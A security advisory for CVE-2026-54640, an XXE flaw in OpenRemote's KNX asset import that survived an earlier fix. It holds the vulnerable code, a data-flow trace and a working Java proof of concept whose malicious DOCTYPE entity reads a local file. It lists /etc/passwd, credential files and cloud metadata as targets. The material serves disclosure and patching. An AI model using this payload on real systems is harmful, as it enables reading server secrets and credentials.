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CVE-2026-54640HIGH· 7.6GHSA대응게시일: 2026. 07. 06.수정일: 2026. 07. 06.

OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory

위협 신호 · CVSS · EPSS · KEV

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CVSS
7.6high

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EPSS

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KEV
미등재

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권장 대응 기한60일 이내CISA SSVC 기준

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외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

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버전별 점수
CVSS 3.17.6HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

상세 설명

Summary

The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (KNXProtocol) processes user-uploaded ETS project ZIP files through Saxon XSLT and XMLInputFactory.newInstance() with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. /etc/passwd, openmrs-runtime.properties, cloud credential files).

Details

Incomplete patch

CVE-2026-40882 was fixed by introducing createSecureDocumentBuilderFactory() in AbstractVelbusProtocol.java with five XXE-blocking features. The parallel asset import handler in KNXProtocol.java was not updated and retains two unprotected XML parsing calls on the same user-controlled data.

Patched file — AbstractVelbusProtocol.java:

text
1private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
2 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
3 factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
4 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
5 factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
6 factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
7 factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
8 return factory;
9}

Vulnerable file — KNXProtocol.java, lines 229–249:

text
1// Line 229-230: reads 0.xml from user-uploaded ZIP
2InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
3String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);
4
5// Lines 233-245: Saxon XSLT — no XXE protection on the source document
6TransformerFactory tfactory = new TransformerFactoryImpl();
7Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
8transformer.transform(
9 new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP
10 new StreamResult(writer));
11
12// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false
13try (final XmlReader r = XmlInputFactory.newInstance()
14 .createXMLStreamReader(new StringReader(xml))) { ... }

Data flow

text
1POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L)
2 → AgentResourceImpl.doProtocolAssetImport(fileData)
3 → KNXProtocol.startAssetImport(byte[] fileData)
4 → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP
5 → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1
6 → XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2
7 → external entity resolved → arbitrary file read

Comparison with patched code

HandlerXML parserDTD disabledStatus
AbstractVelbusProtocolDocumentBuilderFactory✅ 5 features setPatched (CVE-2026-40882)
KNXProtocolSaxon + XMLInputFactory❌ none setNot patched

PoC

No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.

Requirements: Java 17+, Maven 3.8+

pom.xml dependency:

text
1<dependency>
2 <groupId>net.sf.saxon</groupId>
3 <artifactId>Saxon-HE</artifactId>
4 <version>12.9</version>
5</dependency>

Exploit.java:

python
1import net.sf.saxon.TransformerFactoryImpl;
2import javax.xml.stream.*;
3import javax.xml.transform.*;
4import javax.xml.transform.stream.*;
5import java.io.*;
6import java.nio.file.*;
7
8public class Exploit {
9 public static void main(String[] args) throws Exception {
10
11 // Sentinel file — proves arbitrary file read
12 Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
13 String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
14 Files.writeString(sentinel, tag);
15
16 String maliciousXml =
17 "<?xml version=\"1.0\"?>\n" +
18 "<!DOCTYPE root [\n" +
19 " <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +
20 "]>\n" +
21 "<root><data>&xxe;</data></root>";
22
23 // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)
24 XMLInputFactory factory = XMLInputFactory.newInstance();
25 XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
26 StringBuilder sb = new StringBuilder();
27 while (reader.hasNext()) {
28 int e = reader.next();
29 if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
30 }
31 System.out.println("Stage A result: " + sb.toString().trim());
32
33 // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
34 String xsl = "<?xml version=\"1.0\"?>" +
35 "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +
36 "<xsl:output method=\"text\"/>" +
37 "<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +
38 "</xsl:stylesheet>";
39 TransformerFactory tf = new TransformerFactoryImpl();
40 StringWriter writer = new StringWriter();
41 tf.newTransformer(new StreamSource(new StringReader(xsl)))
42 .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
43 System.out.println("Stage B result: " + writer.toString().trim());
44
45 Files.deleteIfExists(sentinel);
46 }
47}

Build and run:

text
1mvn clean package -q
2java -jar target/openremote-xxe-1.0.jar

Verified output (JDK 21, Linux):

text
1Stage A result: OPENREMOTE_KNX_XXE_1780611779589
2Stage B result: OPENREMOTE_KNX_XXE_1780611779589

Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.

Impact

Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).

Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:

  • /etc/passwd — user enumeration
  • Application configuration files containing database credentials or API keys
  • Cloud provider metadata endpoints via SSRF (http://169.254.169.254/...)
  • Internal service endpoints reachable from the server

The vulnerability is present in KNXProtocol, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.

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